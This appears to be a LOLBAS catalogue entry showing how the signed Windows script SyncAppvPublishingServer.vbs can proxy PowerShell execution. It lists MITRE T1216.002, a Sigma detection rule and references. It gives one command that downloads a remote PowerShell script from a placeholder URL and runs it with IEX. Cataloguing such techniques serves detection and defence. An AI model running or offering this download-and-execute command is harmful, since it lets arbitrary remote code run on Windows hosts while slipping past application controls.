Syncappvpublishingserver.vbs

Inject PowerShell script code with the provided arguments

Use Use Powershell host invoked from vbs script

SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1216.002

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml

Refs

twitter.com/monoxgas/status/895045566090010624

twitter.com/subTee/status/855738126882316288

lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/